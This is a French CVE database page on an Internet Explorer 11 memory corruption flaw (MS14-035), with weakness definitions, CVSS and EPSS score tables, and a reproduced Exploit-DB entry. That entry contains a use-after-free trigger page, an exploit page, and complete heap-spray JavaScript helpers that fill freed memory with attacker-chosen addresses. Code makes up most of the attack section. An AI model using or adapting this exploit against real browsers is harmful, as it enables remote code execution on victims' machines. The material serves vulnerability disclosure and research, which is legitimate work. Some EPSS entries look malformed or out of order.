CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Microsoft Internet Explorer 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Internet Explorer Memory Corruption Vulnerability," a different vulnerability than CVE-2014-1769, CVE-2014-1782, CVE-2014-2753, CVE-2014-2755, CVE-2014-2760, CVE-2014-2761, CVE-2014-2772, and CVE-2014-2776.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
72.34%
–
–
2023-03-12
–
–
–
36.18%
–
2023-03-26
–
–
–
36.18%
–
2023-04-02
–
–
–
38.71%
–
2023-05-21
–
–
–
53%
–
2023-07-09
–
–
–
55.7%
–
2024-01-21
–
–
–
51.36%
–
2024-04-14
–
–
–
51.36%
–
2024-06-02
–
–
–
54.89%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
62.15%
–
2024-09-15
–
–
–
63.16%
–
2024-12-22
–
–
–
59.33%
–
2024-12-29
–
–
–
66.19%
–
2025-03-02
–
–
–
59.33%
–
2025-01-19
–
–
–
66.19%
–
2025-03-09
–
–
–
59.33%
–
2025-03-18
–
–
–
–
34.32%
2025-03-30
–
–
–
–
41.32%
2025-03-30
–
–
–
–
41.32,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-12-19 23h00 +00:00 Auteur : Skylined EDB Vérifié : Yes
<!--
Source: http://blog.skylined.nl/20161220001.html
Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 11. There is sufficient time between the free and reuse for an attacker to control the contents of the freed memory and exploit the vulnerability.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
Details
This was one of the first bugs where I attempted to do a proper analysis, and I got some feedback from ZDI that explained what I got right and what I got wrong. Basically, on x86, a 0x28 byte memory block is allocated in MSHTML!CMarkup::DoEmbedPointers and when you execute document.execCommand("Delete"). This memory can be freed when you execute document.open() in a DOMNodeRemoved event handler. After that, you can use Javascript to reallocate the memory before it is reused.
Repro.html:
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script type="text/javascript">
document.addEventListener("DOMNodeRemoved", function () {
document.open(); // free
// attempt to modify freed memory here
// because it will be reused after this function returns.
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete"); // allocate
};
</script>
</head>
<body>
</body>
</html>
Exploit
After getting the feedback from ZDI that helped me understand the root cause, I attempted to write an exploit that the issue could be controlled and may be exploitable. I did not keep track of whether my attempts where successful, so the below code may not actually function. However, it should give you an idea on how one might go about writing an exploit for this vulnerability.
Sploit.html:
-->
<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<script src="cLFHSpray.js"></script>
<script src="cBlockSpray.js"></script>
<script>
var aauCopiesAndSizes = [
[0x08, 0x80],
[0x08, 0x40],
[0x08, 0x20],
[0x10, 0x80]
];
var uBaseAddress = 0x12340000;
var aoBlockSprays = new Array(aauCopiesAndSizes.length);
for (var i = 0; i < aauCopiesAndSizes.length; i++) {
aoBlockSprays[i] = new cBlockSpray(aauCopiesAndSizes[i][0], aauCopiesAndSizes[i][1]);
aoBlockSprays[i].setChunkDWord(0x0100, uBaseAddress + 0x0300);
aoBlockSprays[i].spray();
}
document.addEventListener("DOMNodeRemoved", function () {
document.open();
var oLFHReuse = new cLFHSpray(10, 0x28);
oLFHReuse.setDWord(0x10, uBaseAddress + 0x0100);
oLFHReuse.setDWord(0x14, uBaseAddress + 0x0200);
oLFHReuse.spray();
}, true);
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");
document.execCommand("Delete");
document.designMode="off";
};
</script>
</head>
<body>
</body>
</html>
<!--
########################################################################
cLFHSpray.js:
function cLFHSpray(uCount, uSize) {
this.aoElements = new Array(uCount);
var auSprayChars = new Array(uSize - 1 >> 1);
for (var i = 0; i < auSprayChars.length; i++) {
auSprayChars[i] = ((i & 0xFF) * 0x202 + 0x100) & 0xFFFF;
}
this.setDWord = function(uOffset, uValue) {
this.setWord(uOffset, uValue & 0xFFFF);
this.setWord(uOffset + 2, uValue >>> 16);
}
this.setWord = function(uOffset, uValue) {
this.setByte(uOffset, uValue & 0xFF);
this.setByte(uOffset + 1, uValue >>> 8);
}
this.setByte = function(uOffset, uValue) {
var uCharOffset = uOffset >> 1;
var uByte0 = (uOffset & 1 ? auSprayChars[uCharOffset] : uValue) & 0xFF;
var uByte1 = (uOffset & 1 ? uValue : (auSprayChars[uCharOffset] >> 8)) & 0xFF;
auSprayChars[uCharOffset] = uByte0 + (uByte1 << 8);
}
this.spray = function() {
var sSprayBuffer = String.fromCharCode.apply(0, auSprayChars);
for (var i = 0; i < uCount; i++) {
this.aoElements[i] = document.createElement("span"); // allocate 0x34 bytes
this.aoElements[i].className = sSprayBuffer; // allocate 0x10, uSize and 0x40 bytes.
}
}
}
########################################################################
cBlockSpray.js:
var cBlockSpray = (function() {
var uChunkSize = 0x10000;
var uBlockHeaderSize = 0x10;
var uBlockFooterSize = 0x04;
var asChunkTemplate = new Array(uChunkSize / 2);
for (var uIndex = 0; uIndex < asChunkTemplate.length; uIndex += 2) {
asChunkTemplate[uIndex] = String.fromCharCode(uIndex);
asChunkTemplate[uIndex + 1] = String.fromCharCode(0xDEAD);
}
return function cBlockSpray(uBlockCount, uChunkCount) {
this.uBlockSize = uChunkCount * uChunkSize - uBlockHeaderSize - uBlockFooterSize;
var sChunk = asChunkTemplate.join("");
var sBlock, asBlocks = new Array(uBlockCount);
this.setChunkDWord = function (uOffset, uValue) {
this.setChunkWord(uOffset, uValue & 0xFFFF);
this.setChunkWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setChunkWord = function (uOffset, uValue) {
if (sBlock) throw new Error("Cannot set chunk values after generating block");
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
if (uOffset >= uChunkSize) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + uChunkSize.toString(16));
var uIndex = uOffset / 2;
var sValue = String.fromCharCode(uValue & 0xFFFF);
sChunk = sChunk.substr(0, uIndex) + sValue + sChunk.substr(uIndex + 1);
}
this.generateBlock = function () {
if (sBlock) throw new Error("Cannot generating block twice");
sBlock = (
sChunk.substr(uBlockHeaderSize / 2) +
new Array(uChunkCount - 1).join(sChunk) +
sChunk.substr(0, (uChunkSize - uBlockFooterSize) / 2)
);
}
this.setBlockDWord = function (uOffset, uValue) {
this.setBlockWord(uOffset, uValue & 0xFFFF);
this.setBlockWord(uOffset + 2, (uValue >> 16) & 0xFFFF);
}
this.setBlockWord = function (uOffset, uValue) {
if (!sBlock) this.generateBlock();
if (uOffset & 1) throw new Error("uOffset (" + uOffset.toString(16) + ") must be Word aligned");
var uIndex = (uOffset - uBlockHeaderSize) / 2;
if (uIndex < 0) throw new Error("uOffset (" + uOffset.toString(16) + ") must be larger than 0x" + uBlockHeaderSize.toString(16));
if (uIndex >= sBlock.length) throw new Error("uOffset (" + uOffset.toString(16) + ") must be smaller than 0x" + (uBlockHeaderSize + sBlock.length * 2).toString(16));
var sValue = String.fromCharCode(uValue & 0xFFFF);
sBlock = sBlock.substr(0, uIndex) + sValue + sBlock.substr(uIndex + 1);
}
this.spray = function() {
if (!sBlock) this.generateBlock();
for (var i = 0; i < uBlockCount; i++) {
asBlocks[i] = ("" + sBlock).slice(0);
}
}
}
})();
Time-line
30 December 2013: This vulnerability was submitted to ZDI.
8 January 2014: This vulnerability was acquired by ZDI.
14 January 2014: This vulnerability was disclosed to Microsoft by ZDI.
10 June 2014: This vulnerability was address by Microsoft in MS14-035.
20 December 2016: Details of this vulnerability are released.
-->